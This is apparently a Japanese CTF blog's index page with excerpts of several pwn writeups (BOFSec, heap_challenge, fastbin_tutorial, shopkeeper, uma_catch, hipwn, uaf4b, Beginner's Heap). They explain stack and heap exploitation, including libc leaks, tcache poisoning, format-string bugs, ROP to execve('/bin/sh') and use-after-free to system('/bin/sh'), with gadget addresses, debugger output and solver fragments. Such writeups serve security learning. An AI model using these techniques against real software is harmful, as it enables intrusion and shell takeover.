RicercaCTF2023 writeup

はじめに 4/22に開催されたRicercaCTF 2023にSUSH1st1として参加して、23位でした。 PwnもWebもあまり解けず悔しかった。 競技中に解いた問題 [pwn 97] BOFSec(107 solves) [web 95] Cat Café(113 solves) [misc 200] gatekeeper(21 solves) 競技後に解いた問題 [web] tinyDB 競技中に解いた問題 [pwn 97] BOFSec 100%本物保証 authored by ptr-yudai 問題概要 ユーザーのis_adminによってフラグがもらえたりもらえなかったりする。 ... //(一部抜粋) typedef struct { char name[0x100]; int is_admin; } auth_t; auth_t get_auth(void) { auth_t user = { .is_admin = 0 }; printf("Name: "); scanf("%s", user.name); return user; } int main() { char flag[0x100] = {}; auth_t user = get_auth(); if (user....

2023-04-22 · 3 分 · Me

heap_challenge - CPCTF 2022

方針 unsorted binによるlibc leakと、House of botcake 事前準備 # def new(index: str, msg: str, content: bytes) new("0", "16", b"AAAA") new("1", "1280", b"BBBB") new("2", "16", b"CCCC") new("3", "16", b"DDDD") new("4", "16", b"EEEE") new("5", "16", b"FFFF") unsorted binによるlibc leakの旅 unsorted binのfdは、main_arena.topを指す。 topメンバの位置と、libcの中に置かれるmain_arenaの位置がわかれば、libc base addressを求めることができる。 (一度mallocしないとtopにアドレスが入らないので、そこまで進める。) gef➤ heap arena Arena (base=0x7ffff7fc1b80, top=0x55555555b2d0, last_remainder=0x0, next=0x7ffff7fc1b80, next_free=0x0, system_mem=0x21000) 次に、libcの配置されている場所は0x00007ffff7dd5000である。 gef➤ vm : 0x00007ffff7dd5000 0x00007ffff7df7000 0x0000000000000000 r-- /ctf/yu1hpa/2022/CPCTF/heap_chal/libc.so.6 したがって、main_arenaとのオフセットは、 0x7ffff7fc1b80 - 0x00007ffff7dd5000 = 0x1ecb80 また、topメンバの位置は次のように確認することができる。 gef➤ x/16xg 0x7ffff7fc1b80 0x7ffff7fc1b80: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1b90: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1ba0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bb0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bc0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bd0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1be0: 0x000055555555b2d0 0x0000000000000000 0x7ffff7fc1bf0: 0x00007ffff7fc1be0 0x00007ffff7fc1be0 top=0x55555555b2d0はmain_arena(0x7ffff7fc1b80)<+96> の位置にあることがわかるので、libc base addressは以下のように求まる。...

2022-05-08 · 4 分 · Me

fastbin_tutorial - InterKosenCTF2019

方針 公式writeupでは、Use After Freeでやっているのですが、 Double Free Tutorial!と出てくるので、double freeとfastbin unlink attackをやります。 注意点 最初に与えられるflagのアドレスから0x10を引かなければならない。 char *flag; : void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); FILE *f = fopen("flag.txt", "r"); flag = malloc(0x50); if (f == NULL) { puts("[WARN] Please report this bug to the author."); exit(1); } fread(flag, 1, 0x50, f); fclose(f); malloc(0x100); // assure no leak by freed FILE buffer } 与えられたアドレスに直接繋ぐと、Oops! You forgot the overhead...?と教えてくれる。 flagは、mallocで確保されているので、本来のチャンクより+0x10のアドレスが返ってきている。malloc.c L1126 fastbin に addr_flagを繋ぐ あるチャンクに対して共有状態を作って、そのチャンクが返ってくるときにaddr_flagが返ってくるようにします。...

2022-05-07 · 2 分 · Me

shopkeeper - InterKosenCTF2019

方針 shop関数内にあるmoneyという変数をStack Overflowによって書き換えて、 十分なmoneyを手にして、Hopesを買う方法を取ります。 脆弱性を探す旅🐈 一つの脆弱性は、readline関数で無限に入力できることです。 void readline(char *buf) { char *ptr; for(ptr = buf; ; ++ptr) { // Vulnerable here if (read(0, ptr, 1) == 0) break; if (*ptr == '\n') { *ptr = 0x00; break; } } } もう一つは、文字列比較でstrcmp関数を使っていることです。 void shop(item_t *inventory) { char buf[LEN_NAME]; item_t *p, *t; int money = 100; また、shop関数の中で、moneyがローカル変数として定義されているので、 書き換えることができる場所を探します。 strcmp関数は'\0'から比較しない shop関数の中で呼ばれているpurchase関数では、 文字列比較に、strcmp関数が使われていますが、 マニュアルを見ると、次のように書かれています。 strncmp() is designed for comparing strings rather than binary data, characters that appear after a `\0' character are not compared....

2022-05-05 · 1 分 · Me

uma_catch - SECCON Beginners CTF 2021

uma_catch - SECCON BeginnersCTF2021(My solver) 方針 Format Strings Bug によってlibc内のアドレスをリークし、 tcache poisoningでShellを取る。 FSBによるlibc leak src.cの197行目のshow関数では、 フォーマット指定子をしていないことによるFSBが起こる。 void show() { printf(list[get_index()]->name); } __libc_start_main内のアドレスを探す旅 次に、__libc_start_mainのアドレスを調べる。 以下のように調べることができる。 gef➤ disass __libc_start_main Dump of assembler code for function __libc_start_main: 0x00007ffff7a03b10 <+0>: push r13 0x00007ffff7a03b12 <+2>: push r12 (中略) 0x00007ffff7a03bf0 <+224>: mov rax,QWORD PTR [rsp+0x18] 0x00007ffff7a03bf5 <+229>: call rax 0x00007ffff7a03bf7 <+231>: mov edi,eax 0x00007ffff7a03bf9 <+233>: call 0x7ffff7a25240 <exit> 0x00007ffff7a03bfe <+238>: mov rax,QWORD PTR [rip+0x3ceda3] # 0x7ffff7dd29a8 (中略) 0x00007ffff7a03cc3 <+435>: call QWORD PTR [rdx+0x168] 0x00007ffff7a03cc9 <+441>: jmp 0x7ffff7a03ba5 <__libc_start_main+149> End of assembler dump....

2022-05-04 · 2 分 · Me

hipwn - zer0pts CTF 2020

hipwn - zer0ptsCTF2020(My solver) hipwn - zer0ptsCTF2020(Official GitLab) 方針 .bss section に/bin/shという文字列を置いて、 Return Oriented Programming(ROP)を組んで、 execve("/bin/sh", 0, 0)を実行する。 ROP gadgetとは gadgetとは、pop rdi; ret;などのret;で終わるコード片のことです。 今回、必要なgadgetはrdi rsi rdx rax syscall です。 gadget 役割 rdi 第1引数 rsi 第2引数 rdx 第3引数 rcx 第4引数 r8 第5引数 : : rax システムコール番号 syscall システムコール また、execveのシステムコール番号は59である。 .bss section とは rw(read and write)が可能な初期値を持たない変数を格納するためのセクションである。 .bss sectionを使う理由は、rwできて便利だから。 通常の入力に"/bin/sh"を送って、バッファのアドレスを指定してもいいと思う。 gadgetを探す旅🐈 ropperを使って、それぞれのgadgetを探します。 例) $ ropper -f chall --search "pop rdi;" 0x000000000040141c: pop rdi; ret; rop_pop_rdi = 0x0040141c rop_pop_rax = 0x00400121 rop_pop_rsi_r15 = 0x0040141a rop_pop_rdx = 0x004023f5 rop_syscall = 0x004024dd IUPAP命名法 余談ですが、ROP gadgetを書くときは、 わかりやすいようにIUPAP命名法にしたがいます。...

2022-05-03 · 2 分 · Me

uaf4b - CakeCTF2021

uaf4b - CakeCTF2021(My solver) uaf4b - CakeCTF2021(Official GitHub) 方針 Use after Free によって関数ポインタをsystem関数で書き換える。 CAWSAY 構造体について 重要なのは、main.cの47〜50行目の構造体である。 freed chunkでは、fn_dialogueがfd、messageがbkに割り当てられる。 typedef struct { void (*fn_dialogue)(char*); char *message; } COWSAY; また、main.cの167〜171行目で、 cowsay->fn_dialogue(cowsay->message);が実行されることに留意しておく。 case 1: /* Use cowsay */ printf("[+] You're trying to call 0x%016lx\n", (addr)cowsay->fn_dialogue); cowsay->fn_dialogue(cowsay->message); break; malloced chunk 実際にmallocされたときのHeap領域は次の図のようになっている。 freed chunk 次に、freeすると、次の図のようになる。 system("/bin/sh")を呼び出す この2つの図を見るとわかるように、関数ポインタfn_dialogueの位置にfdが割り当てられている。 つまり、fn_dialogueをsystemに、COWSAY->message = /bin/shにすれば、 system("/bin/sh")が呼び出される。 Solver from pwn import * context(os = 'linux', arch = 'amd64') context.log_level = 'debug' io = process("....

2022-05-02 · 1 分 · Me

Beginner's Heap - SECCON beginners CTF 2020

Beginner’s Heap (My solver) 作問者writeup 方針 Heap overflowによって、下のチャンクのfdとサイズを書き換えて、tcache poisoning によるwin関数の呼び出し。 やる Bの領域をmallocしてfreeすることで、tcache(の0x20ようのスレッド)につなげる。 -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x000055dfd3002350(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-= 1. Bのfdを書き換える freeされたチャンク(freed chunk)のfdがNULLなので、次につながっているfreed chunkはない。 ここで、AのHeap Overflowを利用して、Bのfdを書き換えるとfdに値が入るので、tcache君はBの次があると錯覚する。 A*24 + 0x31 + __freehookを与えた図。 2. fdを__free_hookで書き換える fdを__free_hook(のアドレス)で書き換えると、tcacheはこのようになる。 (tcacheを汚染しているので、これをtcache poisoningという) -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x0000557af97c3350(rw-) ] || \/ [ 0x00007effac9cc8e8(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-= 3....

2022-05-01 · 1 分 · Me